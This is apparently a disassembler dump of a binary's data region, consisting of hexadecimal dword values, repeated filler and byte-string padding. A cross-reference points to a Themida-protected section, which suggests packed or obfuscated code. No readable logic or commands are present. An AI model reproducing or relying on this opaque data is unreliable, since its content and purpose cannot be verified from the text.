dd 0DE9C2h, 96C50000h, 5CCF0A63h, 5D6A7A4h, 0E9CC01DAh
dd 0Ch, 0C680FB67h, 0E4009226h, 6B0A9712h, 48B0Fh, 0B8660000h
dd 8A60999Ch, 61D18BD5h, 6E9h, 0F4555300h, 0BE7AFCBFh
dd 4E4C6879h, 91C7BAF9h, 8B6661FDh, 0D3BF0FC1h, 0AFB6C381h
dd 0D18154B8h, 26E2B4FDh, 0FC68B66h, 8160F9B7h, 9B098DDEh
dd 840F71h, 61000000h, 51CFBF0Fh, 55C18166h, 8B605EB8h
dd 0BF6661CAh, 0C781C53Bh, 75FA483Fh, 8F0F6051h, 0
dd 0BDB95961h, 6056DAD4h, 8A0F60h, 81000000h, 970063D6h
dd 61FC6150h, 0B96624B5h, 0E860ACDDh, 12h, 0CFAFCE3Ch
dd 0E09A5B2Bh, 9C2A8202h, 7BA4C058h, 0D68B7279h, 0BB8615Bh
dd 662388A2h, 668F26BEh, 4842E681h, 11E9h, 58F1A300h, 737E5B7Fh
dd 0B5D6F54h, 912AC925h, 0FE9C9C4h, 43000000h, 6E1DD302h
dd 0C4D450BBh, 0B0BF1862h, 0E8F5DC0Fh, 9, 0B1FC0C96h, 3472FE9Ah
dd 0F55FBBF8h, 5159254Ch, 510CB866h, 0EE85Fh, 61200000h
dd 0E471F77h, 0C576C0FAh, 80629C74h, 7F8344B9h, 10E9596Fh
dd 0C4000000h, 0B091FE2Bh, 2D423CC1h, 40459CCDh, 0BB43A039h
dd 84A2CE2h, 8B9A98BAh, 12E83Dh, 24330000h, 137D73DDh
dd 566DF238h, 34F951Ch, 762ABC28h, 13E960h, 0F0E40000h
dd 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 6B5951A0h, 0DE89Ah
dd 0D7B30000h, 0F704FA8Ah, 0B427A99h, 5FDEC450h, 5E85861h
dd 67000000h, 0E45AFFFAh, 0BF5E0FB4h, 1BC0D15Fh, 5890F60h
dd 66000000h, 5FCED381h, 0A096BB66h, 0FC38B61h, 289h, 0FABB300h
dd 480h, 40BE6600h, 0DFBF0FA5h, 98BAF98Ah, 0F395406h, 8B66F8B7h
dd 0FE8B66DFh, 0AE9h, 9E0E0300h, 0C4D39B7Bh, 531613B3h
dd 41E9BB66h, 82BA6659h, 80E981F8h, 561006BFh, 6059F08Bh
dd 11E8h, 88391800h, 8C00AA69h, 4AF79F50h, 554CCCE3h, 0EF812797h
dd 43E9ED21h, 0F18B6659h, 0CCE38061h, 9E860h, 50440000h
dd 992BC527h, 0F138F96h, 8Dh, 0E9615900h, 0Dh, 7E53F4E9h
dd 524C933Bh, 2DAEBEB7h, 0F5D08BE1h, 0B866F48Ah, 8D0FB879h
dd 2, 0EE80C38Ah, 60C28BF1h, 5FCA8B56h, 0AE961F8h, 13000000h
dd 4E42CFD0h, 52BF6A26h, 7E978h, 93420000h, 0C28E4125h
dd 0F9F380A5h, 13E9h, 0C6CC9D00h, 856F6C4Ah, 0A8C5525Ah
dd 4F764AD0h, 925D145Ah, 0D7DCB966h, 0E9C78B66h, 0Eh, 3CF005E4h
dd 1DF76863h, 0DE91846Ah, 0B966ADB3h, 0AE8802Fh, 5E000000h
dd 0B300D7B9h, 6762ED2Fh, 0A7F2812Ch, 5949EE00h, 28A0Fh
dd 0FE8B0000h, 0B70FBEB4h, 13E8CAh, 5B090000h, 99E32D10h
dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4BF6640h, 7E85AE0h
dd 38000000h, 0F41753FBh, 59F8CBF1h, 0FC9BF0Fh, 0E381DEBFh
dd 5CB33E2h, 0EE9h, 58A12000h, 81270C4Fh, 9791EFA1h, 0F306183h
dd 1B83h, 14E96000h, 3000000h, 7EAB8EA8h, 0BF42E643h, 0ED778FBAh
dd 0E66D5BAh, 614CE7EBh, 0C4C46BB8h, 9E904h, 0A67E0000h
dd 0CAB14C88h, 0E9DE942Bh, 7, 0BC2FFC02h, 0E9E01EE3h, 0Ah
dd 8A851Fh, 0BEFAC4ACh, 810FFB7Bh, 3, 60BAE380h, 2860Fh
dd 61600000h, 9E8h, 0A4F7A900h, 507CB6D0h, 14E9802Fh, 54000000h
dd 217213Bh, 0BD3BD05Fh, 28DD284h, 0E6038D2Dh, 58D62682h
dd 0DAB70F61h, 2810Fh, 0B2B30000h, 5A21B653h, 0DDDA8166h
dd 0C6B70FDFh, 0C8A0Fh, 890F0000h, 6, 880Fh, 10E80000h
dd 0B1000000h, 0C6ECC95Fh, 84722EEAh, 0F4CBE059h, 0F8A1B185h
dd 9E95Ah, 7F660000h, 11C49959h, 6693AEECh, 3EBFF38Bh
dd 0E9323B3Ah, 13h, 2A20AC9Ch, 0A33AA132h, 0D25F34E7h
dd 3382A06h, 8B9597E3h, 0D6B70FF0h, 0DE8F5h, 281B0000h
dd 0C641AD04h, 0C1BAF195h, 0BBA420E6h, 28610E20h, 6045B05Ah
dd 10E9h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh
dd 0E861F547h, 8, 533EE39Ch, 0AA30D6E8h, 61616060h, 0BF0FF95Eh
dd 0BB66F8F6h, 880FB4A2h, 8, 83D78152h, 5F72D2B5h, 6800Fh
dd 870F0000h, 0
dd 7C62E181h, 820F6AA7h, 0
dd 6800Fh, 0B1600000h, 615F562Ch, 667BBE66h, 1EC3C6B8h
dd 5830F40h, 66000000h, 4184D881h, 4A50C781h, 8166135Ch
dd 8085A0E3h, 8166CCC6h, 660588C0h, 5C83EF81h, 3840Fh
dd 0CC800000h, 0AE84Bh, 0DD480000h, 2AAA30Fh, 4DA06374h
dd 58B0Fh, 1BB90000h, 5853287Ah, 52C9B70Fh, 0BE9h, 0B9F94100h
dd 554254A8h, 9E4A08ADh, 53BB665Bh, 3880F2Bh, 80000000h
dd 8AF8DBC4h, 0FDE781C2h, 0B221BCB1h, 12E876h, 9ED10000h
dd 80972854h, 72A9C942h, 751C645h, 9D8A60FBh, 0FD1B35Fh
dd 58Eh, 2B72B800h, 840F607Bh, 3, 66FB8B66h, 34D2CE81h
dd 38A0Fh, 0F7800000h, 0EDE18055h, 0FAB70F60h, 5F585757h
dd 0CF8B6661h, 8800Fh, 810F0000h, 2, 0E9F803B3h, 5, 62563BD3h
dd 7E9C2h, 995A0000h, 8E34D847h, 0FEC7817Fh, 6641B342h
dd 0B925A7BAh, 6A57C49Bh, 7D03D381h, 8C0F033Ch, 7, 0C1816660h
dd 6661A696h, 0BB2CC181h, 6E9h, 0A560DC00h, 0F288822h
dd 128Ch, 0DE900h, 27E0000h, 8FB8F400h, 3B3DBA85h, 66F02428h
dd 50CF281h, 553E08BBh, 14E838h, 30930000h, 8B0DBCC1h
dd 0E0B3C3BAh, 0A1C94AE5h, 95741C27h, 14E96797h, 0F5000000h
dd 0F651A705h, 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 5E2A43A2h
dd 800Fh, 7BB20000h, 0FE9h, 8FA60F00h, 0EB332AA3h, 90852DCAh
dd 0D3B8F806h, 4800Fh, 0B9660000h, 800FA4C1h, 14h, 0FE9h
dd 70971800h, 1624960Ch, 5762FD1Eh, 718A5C75h, 0CE9h, 0E8BA0E00h
dd 3E3EB4B7h, 0B352D000h, 11E9E1h, 0C1A80000h, 0E53579C4h
dd 0D023CB8Dh, 0DF49837Fh, 60E92FEFh, 0F48AC68Bh, 93BF6661h
dd 0C68166E7h, 0FFCE016h, 38Ch, 82DE8000h, 0F28BC18Bh
dd 817AED80h, 0C61E2ECFh, 0E8A3B239h, 0Fh, 563701C7h, 48F30486h
dd 0CA461D7Bh, 8089ECBAh, 0E85BD9C1h, 13h, 0D2B47B31h
dd 1A2B305Dh, 75854021h, 0E74E0502h, 801DC679h, 0B659CDD9h
dd 0FE927h, 7D950000h, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh
dd 13E8D2h, 0A87C0000h, 626D8621h, 0FD735DE7h, 44128B25h
dd 167CDE6h, 97BF66D7h, 8B665B23h, 53D3BAF7h, 820F12DEh
dd 0Ah, 4860Fh, 0BE660000h, 0BE66CB8Ch, 800F4552h, 2, 5E918B0h
dd 69000000h, 0F5AC3F82h, 53E38166h, 0FFB70F03h, 506232BAh
dd 0FEB96628h, 0DF816671h, 0FC53CC57h, 11E858h, 0A84E0000h
dd 0A289B513h, 5D117713h, 0BF0AB38Dh, 0BAC512B2h, 33DA05A3h
dd 0F281F95Bh, 762493C0h, 10E939B3h, 10000000h, 233B6E9Dh
dd 25AC0F00h, 7DFA9DC4h, 80547894h, 0D18B19C9h, 5E960h
dd 83140000h, 0F393B0Ch, 83h, 8F0F6100h, 15h, 10E9h, 6CD62C00h
dd 178C555Bh, 0C13124C7h, 5E4AC833h, 8139B660h, 76486EC0h
dd 8F0FF81Ah, 19h, 0DE960h, 4D7B0000h, 0DEB83DF9h, 40EBF114h
dd 66AA096Fh, 8BCBD181h, 7DDF8061h, 66F88B66h, 0EFE5DF81h
dd 0FCEA8166h, 7E845h, 0D4010000h, 4E8F9BC7h, 38C0F09h
dd 80000000h, 605E56EEh, 61DAB70Fh, 8A0FF860h, 6, 840Fh
dd 0BB610000h, 2881B2EEh, 16820Fh, 0AE80000h, 0CC000000h
dd 27CF5B1Eh, 0EC42F5EAh, 0AED381F1h, 597AC5B3h, 28CF8166h
dd 0D2C9B896h, 8BFC7B0Dh, 0E38166CBh, 8B666C61h, 0BF0F50DAh
dd 0D6815BCFh, 4983EEAAh, 0FE66B0BBh, 0F98B6012h, 51F861F5h
dd 0CEBF0F60h, 81665E61h, 66FC71C6h, 3BF1DB81h, 12E8h
dd 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah, 87D7C663h, 8088571Fh
dd 0BB58ECDAh, 6686107Eh, 0E55D63BFh, 0D88B667Ah, 9E8h
dd 1E4A8800h, 15483DC9h, 0BF0F1972h, 0FF859C2h, 0E980D1BFh
dd 0DA81661Bh, 0FF99C05h, 28Dh, 0F9D98B00h, 0BBCA8166h
dd 0FCF0B624h, 5E9h, 0A7E4F300h, 8E0F1D96h, 5, 6841ABAh
dd 0D6B70F02h, 66F18B66h, 80020CBAh, 0EE9DEC8h, 0A0000000h
dd 7D014D13h, 918307E9h, 62BEA343h, 99BB661Ah, 6BF2817Dh
dd 66074ED0h, 65B0C281h, 0E84E83B9h, 8B66600Ah, 816660F8h
dd 0E945CEE8h, 12h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h
dd 61618B3Eh, 3972B966h, 4C25D681h, 1DBF775Eh, 0E91D70D7h
dd 5, 31D7E0F5h, 14800F32h, 50000000h, 0DE9h, 98CC4F00h
dd 0E492422Bh, 0BD38D464h, 665893F3h, 60FCF28Bh, 5ED78166h
dd 26BE6699h, 0DCBA6107h, 0F195C9Ch, 18Dh, 8A0FF900h, 3
dd 0FC30C880h, 12E9h, 35F61200h, 0D8D54C4Ch, 0AD53B9D2h
dd 0CE5304E6h, 0FD00F74h, 1889h, 10E85600h, 8B000000h
dd 4CB56CB8h, 7817E7CCh, 3750B4C1h, 58C6CDDFh, 0DA816659h
dd 0E95661BEh, 5, 17ABAD36h, 0EE95F1Ch, 74000000h, 0E7C47750h
dd 0D3C0BDDFh, 0CD55625Bh, 10E9D4h, 6DA20000h, 0F032F306h
dd 55D9A1C3h, 77C908F2h, 8166E577h, 0E8134DF3h, 9, 47CB0113h
dd 6919466Ah, 68E0F09h, 81000000h, 59F311C7h, 860F5E77h
dd 2, 0F5073B1h, 0E8Ah, 9E900h, 0F6BA0000h, 44BE2D0Dh
dd 5B2AFE02h, 80D98BF9h, 0DE9FACEh, 2000000h, 0FFE3EBAAh
dd 2624E6CDh, 92444E10h, 10E9h, 1D368000h, 0DC30D813h
dd 0DFE9A5E1h, 6CAAAD4Fh, 0BAB5B6CFh, 63D5B2E0h, 38F0Fh
dd 0BF0F0000h, 68A0FFEh, 81000000h, 1FB0B3CAh, 8E955h
dd 0C58C0000h, 3B3C6822h, 7E9F889h, 0E8000000h, 0CCB0665Fh
dd 81666A0Bh, 0FCA52C6h, 0E7BFCBBFh, 0E91374C7h, 0Dh, 0CAE13B14h
dd 0DAC177Bh, 4E0A607Bh, 13E81Eh, 0C55C0000h, 0B82F18F2h
dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 585F5067h, 0AE8h, 7DD83600h
dd 1FDE45BAh, 0E8536164h, 11h, 0A0FF60B6h, 0FE6FDFC9h
dd 734DA50Dh, 0D650AD6Dh, 5B5A53A8h, 571AB85Bh, 820F2599h
dd 0
dd 0CE9FA8Bh, 14000000h, 0A2A64858h, 19C295Ah, 6677E13Eh
dd 0C4EAE681h, 0C204BBF5h, 12E8040Ah, 68000000h, 8DE684C1h
dd 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h, 11E98Bh, 1DEB0000h
dd 0B651E7B6h, 21C14FC3h, 22632EDDh, 5ED37626h, 79C9BB66h
dd 0C381D18Bh, 7BA44832h, 58D0Fh, 81660000h, 0E9E305E1h
dd 0Ah, 205C6BCBh, 3CA15C3Ah, 12E97922h, 45000000h, 0A12D6E57h
dd 46414A3h, 0E81427A9h, 4FCE1C81h, 7E822h, 0EC3F0000h
dd 84429DDCh, 665EF929h, 66FCC88Bh, 890FDA8Bh, 5, 0CEF28060h
dd 0F8E78A61h, 8D0Fh, 0B8660000h, 8D0FD4C7h, 3, 0E895F480h
dd 11h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h, 8A0F5E7Dh
dd 10h, 0BE9h, 0CC1B6C00h, 42E7D104h, 0B100E5F6h, 80D9B70Fh
dd 81F520CDh, 0E3E966EEh, 6CB86662h, 48C0F51h, 66000000h
dd 667D52B9h, 8166DF8Bh, 66D752E3h, 8BCED4BAh, 0E9F28BC7h
dd 0Eh, 828D5252h, 0EFBF5DFBh, 5885250Fh, 90BBE7B3h, 665A86CCh
dd 5218AABBh, 13E9h, 9608F900h, 79917928h, 82975AB8h, 0A3867FADh
dd 0EA2C7F53h, 21C9815Fh, 0BE539AD5h, 14C8F603h, 0B1EB8166h
dd 0FF9F92Bh, 14E9F1B7h, 9B000000h, 36905507h, 6F8603EDh
dd 0A91FF9FFh, 0D1C6C5F8h, 803DE431h, 8B6617E2h, 0CAB70FCEh
dd 13E9h, 0BFB4C600h, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h
dd 0B19D05EBh, 4598E8BAh, 6660F945h, 0F4C6ABFh, 8161D6BFh
dd 82A225CBh, 6BCB806Bh, 28C0Fh, 0CFB40000h, 6EF38166h
dd 0D78166F3h, 0E9527211h, 5, 0DC86DEDAh, 5E565FFFh, 0CC8BA66h
dd 4880Fh, 0BB660000h, 0F98B0785h, 9E8h, 0B3B85800h, 1A64C247h
dd 0AE84184h, 6A000000h, 43D077FCh, 69540510h, 8F0FBEh
dd 5A000000h, 0E5B0FC59h, 52F98BFCh, 0AE8h, 0C691BC00h
dd 3481D0E5h, 666F58C1h, 5F5BC88Bh, 218F0Fh, 0E8600000h
dd 13h, 0CAFDF6EAh, 3DDDD60Fh, 0E3C92CB4h, 59F2EC95h, 599537D6h
dd 8F0Fh, 66610000h, 4F1DC181h, 81FB8B66h, 76F7D2C7h, 8166F56Ah
dd 801E52F7h, 8E9FFC0h, 84000000h, 796D2728h, 0E95D56ECh
dd 8, 91199EFCh, 83C90C99h, 222CBB66h, 0F52861B9h, 72F3801Ch
dd 0D88166F5h, 0CE9A0EFh, 0CC000000h, 32B8A180h, 914A1D17h
dd 60DA9DE4h, 61FCC18Bh, 0E409DF81h, 6E90F92h, 0BF000000h
dd 0A71D6213h, 0E081F8B9h, 6F6120A2h, 80DE8B66h, 81509ECBh
dd 0C7F869D9h, 0B70F5E5Bh, 605A53D1h, 66CABF0Fh, 61B3BEB9h
dd 6EEED281h, 870F4808h, 4, 59FE8B51h, 0FE9h, 376B7400h
dd 4ABBB890h, 5ECF9CCFh, 1A9559D3h, 81C68B66h, 663F6DE8h
dd 0C68B667Dh, 48A0Fh, 0BB660000h, 5E90F83h, 0BA000000h
dd 0FEA7FCBAh, 5BD08166h, 8166504Ch, 5E5485C7h, 0DE8B66F8h
dd 17830Fh, 0E9510000h, 10h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh
dd 78596C3Ch, 0F28B6658h, 8BC3B70Fh, 816660C8h, 818A7CF2h
dd 9E2C91D3h, 6050617Fh, 9C4AFCBFh, 5F61F912h, 0F56F28Bh
dd 18Bh, 0F95BF800h, 10860Fh, 0BE90000h, 51000000h, 48189567h
dd 0BCA309E6h, 0CE8F717h, 0A7000000h, 338A5633h, 35CFD9CBh
dd 5F6FBC5Bh, 4860Fh, 0B8660000h, 8C0F42C7h, 6, 0FC49EA81h
dd 8C0F0E5Eh, 8, 2810Fh, 61600000h, 7B1D6FBBh, 77F5800Fh
dd 7E956h, 0B9C90000h, 3ED73758h, 8B0F597Fh, 5, 88EB8166h
dd 12E85Ch, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h
dd 0EDC05747h, 850F58F8h, 2, 0B70FC18Bh, 6870FF1h, 81000000h
dd 365361CBh, 18A0F53h, 0F8000000h, 8073F580h, 0F5136C3h
dd 86h, 0BF0F5B00h, 3830FC2h, 66000000h, 0BFBBD88Bh, 810588D9h
dd 5BB5C6C2h, 23BB667Bh, 0DE893h, 0B78B0000h, 0EA998701h
dd 0E4D9DE77h, 58EECC25h, 60C0B70Fh, 61F5F560h, 0EE9h
dd 0CB0D7C00h, 520F86A3h, 978CD528h, 61485814h, 5810Fh
dd 8BB0000h, 8044292Ah, 0B96654D5h, 0BE66D5A8h, 8B60594Eh
dd 1890FDFh, 0FC000000h, 1A5CBB61h, 0BF0F79A2h, 8B66F5CFh
dd 81E78AF9h, 0B2FC7EC1h, 10E855h, 0CF5D0000h, 61A25769h
dd 0F44F30E1h, 8B3FB7A9h, 0CA81230Ch, 7AD800A3h, 0AE959h
dd 282C0000h, 163AF23Fh, 0D0ABD8E4h, 8E9h, 0A159B700h
dd 0D2D8217h, 235BE52h, 46B859D0h, 663694BFh, 60E3D981h
dd 81F08B66h, 496A4FDEh, 6830F43h, 56000000h, 611B966h
dd 0E8A9BE5Eh, 0F1810114h, 7BF5777Bh, 28C0Fh, 0C38B0000h
dd 9E9F5h, 0BDB90000h, 1CFD288Ah, 8BF24D6Ah, 0C38160DEh
dd 100B09B3h, 9A2193BBh, 10E86141h, 0BB000000h, 0F7C5CBEFh
dd 255CDEF0h, 0B67E54B4h, 0F790802h, 8Fh, 11E85E00h, 46000000h
dd 44F6A37Bh, 341E4F7Ah, 8DFCC24h, 0F4B10E0Ch, 0CE9h, 0C4AED700h
dd 688288ACh, 4966169Ch, 60605984h, 61F98B66h, 0EE861h
dd 0BDD90000h, 7DAA246Ah, 0DFD97B44h, 5DB1E9FFh, 2526B966h
dd 13E95Bh, 87B90000h, 398CF701h, 7E30CA14h, 79DBE17Ah
dd 0ADE21A12h, 0F27B15Fh, 1388h, 0EE900h, 7F820000h, 5F2E4145h
dd 61D8CA2Ch, 9E772A7Fh, 72B1CF8Bh, 7A16BB60h, 0F6107DBh
dd 388h, 0C3B70F00h, 4585D681h, 0BB665948h, 860F731Bh
dd 0
dd 4800FF5h, 66000000h, 0E9216FBAh, 11h, 0C3BA8B0Dh, 4AE5E0B3h
dd 1C27A1C9h, 67979574h, 0DBB70F0Bh, 4F11EB81h, 0E8805D92h
dd 0C6B70FC2h, 5DE78160h, 800F659Bh, 0F6178D7h, 0D18BC2B7h
dd 7E85360h, 45000000h, 0B6FC9B06h, 5E5852C0h, 0CEB8BB61h
dd 800F67E1h, 0Bh, 5830Fh, 51B90000h, 0BE2CF418h, 5CA0D5A0h
dd 0EFFECA81h, 850F1825h, 5, 0E6C18166h, 9E97Fh, 97A90000h
dd 0BE4570Bh, 0E9036562h, 5, 0ECD80FECh, 6E980A7h, 890FF78Bh
dd 1, 3DB160FCh, 6820Fh, 8D0F0000h, 0
dd 0CE85361h, 28000000h, 0CD60C30h, 0D0E3AEBCh, 0B8FE38BFh
dd 602D31C8h, 7E85B59h, 0B9000000h, 0E2CE9973h, 0B70FA659h
dd 0DDB65FDBh, 0FE9h, 0B9E93700h, 7BF01AB8h, 10747925h
dd 0F05CD6Ch, 0E96057F9h, 13h, 0C255A912h, 571CF8DAh, 74B007Fh
dd 2D21B105h, 0B8DAF46Ah, 24DC0788h, 66F95A61h, 0C76FF181h
dd 6B15EBBAh, 0FDFB21Fh, 38Eh, 0B3CD8000h, 0AE9h, 859BB500h
dd 67AB1D3Eh, 807E6F5Fh, 0ACB000CFh, 48D0F60h, 66000000h
dd 8B7078BAh, 0B86661CEh, 0FF9DF10h, 0E8Bh, 9E900h, 0DCD0000h
dd 3974D0F2h, 0E9F616ECh, 6, 77337646h, 13E9D231h, 0DB000000h
dd 0B839E81Ch, 0E11BAF9Ah, 0D8DCF92Ah, 62939133h, 0EB81789Dh
dd 7145094Ch, 8A5FFC53h, 0EE8166EBh, 0F1B376B9h, 60D88B66h
dd 81CDD480h, 8A7CE1CAh, 0CE8B614Bh, 0DE9h, 0EC7E4A00h
dd 48D83B0Dh, 3F93FC26h, 0B8669D77h, 5A57B750h, 0F6019B0h
dd 800FF0BFh, 6, 830Fh, 0B9610000h, 5E480435h, 8166F1B4h
dd 0FC59C5CAh, 48DEBB66h, 0C865B966h, 0D8816656h, 8A5AEB68h
dd 38B0FCAh, 0F000000h, 8BF9D6BFh, 585750DAh, 168A0F58h
dd 0F000000h, 1082h, 0AE800h, 9D920000h, 6290A168h, 1DE411ECh
dd 0D0B70F5Bh, 7E9h, 0F6F4A600h, 30D0CE97h, 0F1B50B8h
dd 0C3B70F5Fh, 0F78B6657h, 14E859h, 52990000h, 0AD5EC1C2h
dd 0BBF7C603h, 34A6B2EBh, 0F17A48Ch, 8E9EB5Dh, 28000000h
dd 4690456Ch, 59D65607h, 0C6D026BBh, 0FBB70F67h, 0D98B33B5h
dd 8E9h, 12B0EC00h, 4C0B3ECBh, 815EB5CAh, 6060CCE8h, 19890F6Ch
dd 0E9000000h, 14h, 0ED5DB1E9h, 35A43AD8h, 1C3207A2h, 9AE9A691h
dd 2AF8F8C6h, 0EBDB13BFh, 7E9F818h, 4000000h, 0CDBE742Fh
dd 6660272Fh, 5EC1F281h, 9100BE61h, 0DA807F3Eh, 0B8D88B02h
dd 3FC69A41h, 0EE8h, 0F937EA00h, 78E96427h, 51DD6253h
dd 0B056538Ch, 81665926h, 508D02D3h, 59585253h, 0F850F858h
dd 3840F5Eh, 57000000h, 840F58FCh, 0Bh, 0F3BB6660h, 0F28166EFh
dd 0B861A09Ah, 58401356h, 5A505056h, 0C4B55B5Eh, 0BE9h
dd 9F81BD00h, 5C23F73Eh, 4F2AA7B8h, 1800F60h, 0F8000000h
dd 7E9h, 0B58ECA00h, 0CDE575A6h, 0C88B6661h, 0FE447BEh
dd 0AE95766h, 9A000000h, 1C8BAF8Ah, 1633E7B8h, 816659A3h
dd 0B4D11AEEh, 9DBBF9A0h, 0F6B6B8Dh, 84h, 58F0F00h, 66000000h
dd 0FDDDF681h, 0E9F6F180h, 7, 0B9A3F4F9h, 60EED422h, 9EB461FCh
dd 1FB1C981h, 0F28B4434h, 61D78B60h, 14E950h, 0EF920000h
dd 967240B8h, 0DAC97532h, 0F35F1B3Dh, 0FF0FE9B5h, 665E1959h
dd 0E9866CBBh, 11h, 5DA64D56h, 0B2A909BCh, 4DC0776Ch, 6C08BFE0h
dd 9E925h, 2FCC0000h, 0A95FD18Ch, 0FA13838h, 58Dh, 9CA4BF00h
dd 0E9507A10h, 0Bh, 26EA8E39h, 11FEAB0Eh, 5F2DDD86h, 0AE860h
dd 1CE10000h, 1FA9CC2Eh, 18E1F959h, 71A8BE66h, 0E681665Eh
dd 0F61A1DBh, 8160F0B7h, 0B10A12D8h, 0B260614Fh, 2850F70h
dd 60000000h, 890F6161h, 0
dd 66D2B70Fh, 3043E681h, 800Fh, 0E8560000h, 0Dh, 74245C4Fh
dd 0F9EF591Dh, 96A80AFh, 5E85Fh, 62160000h, 582FFC02h
dd 0CE9585Ah, 93000000h, 7119BEA8h, 8E8C9684h, 0FA40867h
dd 8Ah, 0F0816600h, 9E9DB64h, 0DC000000h, 0D221BCB5h, 0E87B5528h
dd 0E28ADE8Bh, 0DF8ACF81h, 8B663E96h, 0A4E280D1h, 65C18166h
dd 8BF6B21Fh, 8E9F3h, 0EC0000h, 0A23C21BEh, 0EFB19908h
dd 44E0BF66h, 8E9h, 75C2BE00h, 0C90BC1D9h, 13E900h, 0A2440000h
dd 0D6BA5400h, 0CB83E112h, 6ABCE889h, 3D8DEFEDh, 0BBE88A64h
dd 77E011FFh, 0EA816660h, 6661C8A6h, 0C45E781h, 9E9h, 6A35DC00h
dd 95F859ECh, 0FA8B12B3h, 0B890FF5h, 0E9000000h, 6, 3A6EDA50h
dd 0F60299Ah, 8Ah, 10E86100h, 96000000h, 0C3C0CD89h, 0CBB28E71h
dd 1B9E2E9Eh, 0E9182AE6h, 0Eh, 0B781A549h, 0AFCF73A7h
dd 0CA892D06h, 0F5ADF13h, 0BF57DEB7h, 0CF15399h, 0BE959h
dd 45C90000h, 82A4192Bh, 3C46676Ch, 0EF8166F9h, 13E9C2B3h
dd 38000000h, 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h, 8C7435AEh
dd 8B663C64h, 810FC2h, 57000000h, 8BF28B59h, 12E8C1h, 3C600000h
dd 0D38E80F3h, 475F0F49h, 2D1380CEh, 377FA474h, 9E95Fh
dd 94640000h, 95C06F41h, 507B0BCBh, 0B2E18060h, 61F28B66h
dd 0EE95Eh, 0FB1B0000h, 0F17B5C14h, 71FE0BA0h, 0C4614F63h
dd 66B3D180h, 0B54CCE81h, 22E32DBFh, 12E825h, 0DFBF0000h
dd 37ACE145h, 8973291Bh, 9FB02FC0h, 0C2166017h, 805AC88Bh
dd 0FE9C2C8h, 0EE000000h, 516FD868h, 5211528Eh, 0FA5178Ah
dd 8E0FFA7Bh, 1Ch, 16810Fh, 11E90000h, 1B000000h, 0BFD691ACh
dd 7D0BBEEh, 356F1C70h, 778B887Bh, 8E9h, 0F1F41700h, 30A457CBh
dd 0E2CF8048h, 0BEF7BF0Fh, 55C7F635h, 7870Fh, 51600000h
dd 0D38B665Eh, 5830F61h, 0BE000000h, 5B281FD6h, 48E0Fh
dd 0BE660000h, 9E96B76h, 3C000000h, 0A8228547h, 0C80DF317h
dd 14E8h, 268E3D00h, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h
dd 207E3653h, 8E90Ch, 566C0000h, 6A46BDDDh, 0F5B885Fh
dd 158Eh, 0F850F00h, 0E9000000h, 0Ah, 2CB156B8h, 25C0DF14h
dd 0CF8B6690h, 11E9h, 12E65300h, 2B465C91h, 0D50C45A0h
dd 4D9E8818h, 8166C15Eh, 66B609CAh, 880FDF8Bh, 24h, 11E8h
dd 35E67C00h, 199CA1BCh, 0B0CA94F7h, 0C07D0E20h, 8E9A393h
dd 0F0000000h, 0EED8B1AAh, 5BE3A87Eh, 9E9h, 1CE8E900h
dd 2D89B667h, 0AE98D02h, 7A000000h, 0DD303F76h, 57AEC827h
dd 0B2D38B11h, 9B5AB928h, 81663F82h, 60DAE6EAh, 0DA80C38Bh
dd 0BB6661B0h, 0EE813066h, 88EBC54h, 7E9h, 5C10C400h, 0C7F99717h
dd 0D78B5650h, 8B0F5A59h, 3, 0F9F88B66h, 8E960h, 433E0000h
dd 86CEB526h, 8061774Ch, 0BF0FC3C5h, 816651CFh, 5FCCA9D7h
dd 14860FF8h, 0F000000h, 0E82h, 9E900h, 43B30000h, 0F58BD685h
dd 661255F9h, 0F281F08Bh, 573C52C1h, 330BBB66h, 666160F5h
dd 0FCDD4B8h, 588h, 0CA816600h, 0BF2C7130h, 570h dup(0BF2CF536h)
dd 0F483F536h, 6Bh dup(0F483AF5Fh), 2FA9D75Fh, 1AAh dup(2FA9D4E4h)
dd 7CA9D4E4h, 58h dup(7CAFC745h), 66321A45h, 2B0h dup(66321AFDh)
dd 0CC321AFDh, 481h dup(0CCCCCCCCh)
asc_5BF680 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
; DATA XREF: Themida_:0055D70Co
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
